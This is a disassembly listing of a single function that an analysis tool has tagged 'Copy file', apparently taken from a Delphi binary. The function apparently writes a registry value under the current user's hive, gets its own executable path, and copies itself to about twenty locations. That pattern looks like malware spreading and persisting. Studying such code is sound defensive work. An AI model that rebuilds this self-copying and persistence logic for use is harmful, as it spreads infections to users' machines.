Function at 0x418320
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x30
push 0
push 0
dec ecx
jne 0x418328
push ecx
push ebx
push esi
mov ecx, 0x14
lea eax, [ebp - 0x150]
mov edx, dword [section.CODE]
call fcn.00404f8c
xor eax, eax
push ebp
push 0x41869f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x150]
mov edx, 0x4186b4
call fcn.004046a4
lea eax, [ebp - 0x14c]
mov edx, 0x4186d4
call fcn.004046a4
lea eax, [ebp - 0x148]
mov edx, 0x4186f4
call fcn.004046a4
lea eax, [ebp - 0x144]
mov edx, 0x41871c
call fcn.004046a4
lea eax, [ebp - 0x140]
mov edx, 0x418738
call fcn.004046a4
lea eax, [ebp - 0x13c]
mov edx, 0x418758
call fcn.004046a4
lea eax, [ebp - 0x138]
mov edx, 0x418778
call fcn.004046a4
lea eax, [ebp - 0x134]
mov edx, 0x418798
call fcn.004046a4
lea eax, [ebp - 0x130]
mov edx, 0x4187bc
call fcn.004046a4
lea eax, [ebp - 0x12c]
mov edx, 0x4187e4
call fcn.004046a4
lea eax, [ebp - 0x128]
mov edx, 0x41880c
call fcn.004046a4
lea eax, [ebp - 0x124]
mov edx, 0x418830
call fcn.004046a4
lea eax, [ebp - 0x120]
mov edx, 0x418850
call fcn.004046a4
lea eax, [ebp - 0x11c]
mov edx, 0x418878
call fcn.004046a4
lea eax, [ebp - 0x118]
mov edx, 0x418894
call fcn.004046a4
lea eax, [ebp - 0x114]
mov edx, 0x4188b0
call fcn.004046a4
lea eax, [ebp - 0x110]
mov edx, 0x4188d4
call fcn.004046a4
lea eax, [ebp - 0x10c]
mov edx, 0x418900
call fcn.004046a4
lea eax, [ebp - 0x108]
mov edx, 0x418924
call fcn.004046a4
lea eax, [ebp - 0x104]
mov edx, 0x418940
call fcn.004046a4
mov dl, 1
mov eax, dword [0x41697c]
call fcn.00416a7c
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.00416b1c
lea edx, [ebp - 0x154]
mov eax, 0x418964
call fcn.004175fc
mov edx, dword [ebp - 0x154]
mov cl, 1
mov eax, ebx
call fcn.00416b80
lea eax, [ebp - 0x158]
call fcn.004177c8
lea eax, [ebp - 0x158]
push eax
lea edx, [ebp - 0x15c]
mov eax, 0x418988
call fcn.004175fc
mov edx, dword [ebp - 0x15c]
pop eax
call fcn.004048d4
mov eax, dword [ebp - 0x158]
push eax
lea edx, [ebp - 0x160]
mov eax, 0x418988
call fcn.004175fc
mov edx, dword [ebp - 0x160]
mov eax, ebx
pop ecx
call fcn.00416d1c
mov eax, ebx
call fcn.00416aec
mov eax, ebx
call fcn.00403b24
lea eax, [ebp - 0x164]
call fcn.004177c8
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x168]
mov eax, 0x418988
call fcn.004175fc
mov edx, dword [ebp - 0x168]
pop eax
call fcn.004048d4
mov eax, dword [ebp - 0x164]
call fcn.0040b6d4
push pe_nt_image_headers32
lea eax, [ebp - 0x100]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
lea edx, [ebp - 0x16c]
mov eax, 0x418998
call fcn.004175fc
mov eax, dword [ebp - 0x16c]
call fcn.0040b470
test al, al
je 0x4185f6
mov esi, 0x14
lea ebx, [ebp - 0x150]
push 0xffffffffffffffff
lea edx, [ebp - 0x170]
mov eax, 0x4189c8
call fcn.004175fc
lea eax, [ebp - 0x170]
push eax
lea edx, [ebp - 0x174]
mov eax, dword [ebx]
call fcn.004175fc
mov edx, dword [ebp - 0x174]
pop eax
call fcn.004048d4
mov eax, dword [ebp - 0x170]
call fcn.00404acc
push eax
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_CopyFileA
add ebx, 4
dec esi
jne 0x4185a6
mov esi, 0x14
lea ebx, [ebp - 0x150]
push 0xffffffffffffffff
lea eax, [ebp - 0x17c]
call fcn.004177c8
push dword [ebp - 0x17c]
lea edx, [ebp - 0x180]
mov eax, 0x4189fc
call fcn.004175fc
push dword [ebp - 0x180]
lea edx, [ebp - 0x184]
mov eax, dword [ebx]
call fcn.004175fc
push dword [ebp - 0x184]
lea eax, [ebp - 0x178]
mov edx, 3
call fcn.0040498c
mov eax, dword [ebp - 0x178]
call fcn.00404acc
push eax
lea eax, [ebp - 0x100]
push eax
call sub.kernel32.dll_CopyFileA
add ebx, 4
dec esi
jne 0x418601
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4186a6
lea eax, [ebp - 0x184]
mov edx, 0xd
call fcn.00404630
lea eax, [ebp - 0x150]
mov ecx, 0x14
mov edx, dword [section.CODE]
call fcn.0040506c
ret